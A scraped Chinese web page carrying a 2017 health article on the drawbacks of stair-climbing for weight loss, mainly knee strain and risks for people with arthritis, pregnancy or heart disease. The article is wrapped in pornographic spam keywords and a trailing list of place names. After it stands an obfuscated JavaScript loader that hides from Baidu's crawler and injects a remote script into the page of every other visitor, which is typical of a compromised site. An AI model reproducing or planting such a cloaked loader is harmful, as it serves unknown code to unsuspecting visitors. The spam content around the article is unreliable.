亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當(dāng)前位置:首頁 > 健康 > 運動健身 > 正文

爬樓梯減肥的壞處

2017-04-17 07:46:08  來源:360常識網(wǎng)   熱度:
導(dǎo)語:爬樓梯減肥隨時隨地可以進(jìn)行,不限時間、季節(jié)、場地,也沒有藥物減肥對身體的副作用,而且對很多人來講減肥的效果也是看的見的,是普遍認(rèn)為

爬樓梯減肥隨時隨地可以進(jìn)行,不限時間、季節(jié)、場地,也沒有藥物減肥對身體的副作用,而且對很多人來講減肥的效果也是看的見的,是普遍認(rèn)為比較靠譜的減肥方式,通過進(jìn)行有氧運動,腿部和全身都得到很好的鍛煉,但是從另一方面來看,爬樓梯減肥雖然有一定的好處,但是也有一定壞處,主要是針對于身體素質(zhì)較差的人,或是一些特殊人群,下面就簡單來說爬樓梯減肥壞處。

爬樓梯屬于負(fù)重運動,腰部以下的關(guān)節(jié)都要承受自己身體的重量,尤其膝蓋受力最多。爬樓梯時,膝關(guān)節(jié)要負(fù)擔(dān)體重的3—4倍,以一個體重60公斤的人為例,平路行走時兩邊膝蓋各承重60公斤,但爬樓梯時膝蓋負(fù)重竟變成高達(dá)240公斤,相當(dāng)于兩邊膝蓋上各扛負(fù)了一架鋼琴的重量。而且如果速度加快,對膝蓋產(chǎn)生的壓力就愈大。而且,爬樓梯時膝關(guān)節(jié)彎曲度增加,髕骨與股骨之間的壓力也相應(yīng)增加,會加重膝關(guān)節(jié)疼痛。

因此,身體有特定狀況的人最好不要爬樓梯當(dāng)運動,例如:

1、有膝關(guān)節(jié)病(如退化性關(guān)節(jié)炎)的人應(yīng)盡量少走樓梯,尤其不能提重物上下樓梯,以坐電梯為宜。

2、孕婦或過于肥胖的人,對膝關(guān)節(jié)的壓力更大。

3、有心血管疾病的人爬樓梯時也要小心,因為心臟對氧氣的需求會增加,若一下子氧氣不夠時,可能導(dǎo)致心肌梗塞,如果沒有及時送醫(yī)救治,甚至可能猝死。

以上的介紹,我們了解到了爬樓梯并非只有好處,沒有壞處,因此是否選擇這種進(jìn)行減肥鍛煉,就要看自己的自身情況了,如果選擇爬樓梯減肥最好是注意選擇通風(fēng)好的,不要再封閉的樓層進(jìn)行,同時要注意身體有不適的情況要立即停止,以免出現(xiàn)意外。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
左云县| 龙川县| 开江县| 怀远县| 泰安市| 南阳市| 阿荣旗| 汪清县| 锡林郭勒盟| 新宾| 杂多县| 剑河县| 瑞丽市| 即墨市| 奉新县| 历史| 当雄县| 宜黄县| 鹿泉市| 深泽县| 泰顺县| 宜兰市| 枝江市| 武强县| 抚顺市| 庐江县| 五峰| 高邮市| 兰溪市| 利川市| 红河县| 哈巴河县| 合阳县| 沾益县| 张北县| 壶关县| 开封县| 高要市| 大英县| 内丘县| 斗六市|